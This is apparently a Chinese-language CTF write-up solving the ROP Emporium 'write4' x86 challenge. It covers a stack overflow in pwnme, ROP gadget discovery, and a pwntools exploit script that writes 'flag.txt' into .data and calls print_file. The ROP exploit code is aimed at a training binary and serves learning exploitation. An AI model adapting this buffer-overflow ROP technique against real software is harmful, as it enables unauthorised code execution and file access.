write432 wp
wp:
ROPEmporium-WriteUp - ios's blog
ROP Emporium一系列题_Gzero__的博客-CSDN博客
在以上的wp中,在usefulFunction函数中使用的是system函数,但是我拿到的题目中,在该函数中是print_file 函数,如下:
int usefulFunction() { return print_file("nonexistent"); }
所以只能自己一步一步测试。
在write4 challenge的提示中,提到了需要使用print_file函数读取flag.txt文件。
1 将write432文件放入IDA中,追踪main-pwnme函数,函数具体实现看不到,将libwrite432.so放入IDA中,分析pwnme函数:
int pwnme() { char s[36]; // [esp+0h] [ebp-28h] BYREF setvbuf(stdout, 0, 2, 0); puts("write4 by ROP Emporium"); puts("x86\n"); memset(s, 0, 0x20u); puts("Go ahead and give me the input already!\n"); printf("> "); read(0, s, 0x200u); return puts("Thank you!"); }
在该函数中的read处存在栈溢出。print_file函数如下:
int __cdecl print_file(char *filename) { char s[33]; // [esp+Bh] [ebp-2Dh] BYREF FILE *stream; // [esp+2Ch] [ebp-Ch] stream = fopen(filename, "r"); if ( !stream ) { printf("Failed to open file: %s\n", filename); exit(1); } fgets(s, 33, stream); puts(s); return fclose(stream); }
2 通过分析,基本思路
(1)通过read函数溢出到print_file函数执行。
(2)修改print_file函数的filename参数为字符串“flag.txt”的地址
(3)将“flag.txt”字符串写入可写区域,写入.data段。
(4).data段写入数据,需要找到ROP链,写入“flag.txt“八个字符需要分两次写入
3 获取print——file函数地址
# objdump -d write432 -M intel | grep "print_file" 8048395: e8 46 00 00 00 call 80483e0 <print_file@plt+0x10> 080483d0 <print_file@plt>: 8048538: e8 93 fe ff ff call 80483d0 <print_file@plt> print_file_addr=0x080483D0
4 测试调用print_file函数
test: # python2 -c "print 'a'*44+'\xd0\x83\x04\x08'" | ./write432 write4 by ROP Emporium x86 Go ahead and give me the input already! > Thank you! Failed to open file:
经过测试,返回“Failed to open file: ”,证实思路没有问题。
5 查看可写区域
# readelf -S write432 | grep data [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [16] .rodata PROGBITS 080485c8 0005c8 000014 00 A 0 0 4 [24] .data PROGBITS 0804a018 001018 000008 00 WA 0 0 4 data_addr=0x804a018
.data段可以写入数据,长度为8.
6查找ROP链。
需要data_addr出栈、“flag”出栈,ret。,需要pop;pop;ret
需要将“flag”写入data_addr,需要 mov,ret
# ROPgadget --binary write432 --only "mov|pop|ret" Gadgets information ============================================================ 0x08048543 : mov dword ptr [edi], ebp ; ret 0x080485aa : pop edi ; pop ebp ; ret pop_edi_ebp=0x080485aa mov_edi_ebp=0x08048543
7 exp
如果不足四个字节可以使用“\00”不齐一个字节
###python3 from pwn import * p = process('./write432') e = ELF('./write432') print_file=0x080483D0 data_addr=0x0804a018 pop_edi_ebp=0x080485aa mov_edi_ebp=0x08048543 write_flag=p32(pop_edi_ebp)+p32(data_addr)+b"flag"+p32(mov_edi_ebp)+p32(pop_edi_ebp)+p32(data_addr+4)+b".txt"+p32(mov_edi_ebp) payload=b'A'*44 +write_flag+ p32(print_file )+p32(0x0)+p32(data_addr) p.recvuntil('>') p.sendline(payload) p.interactive()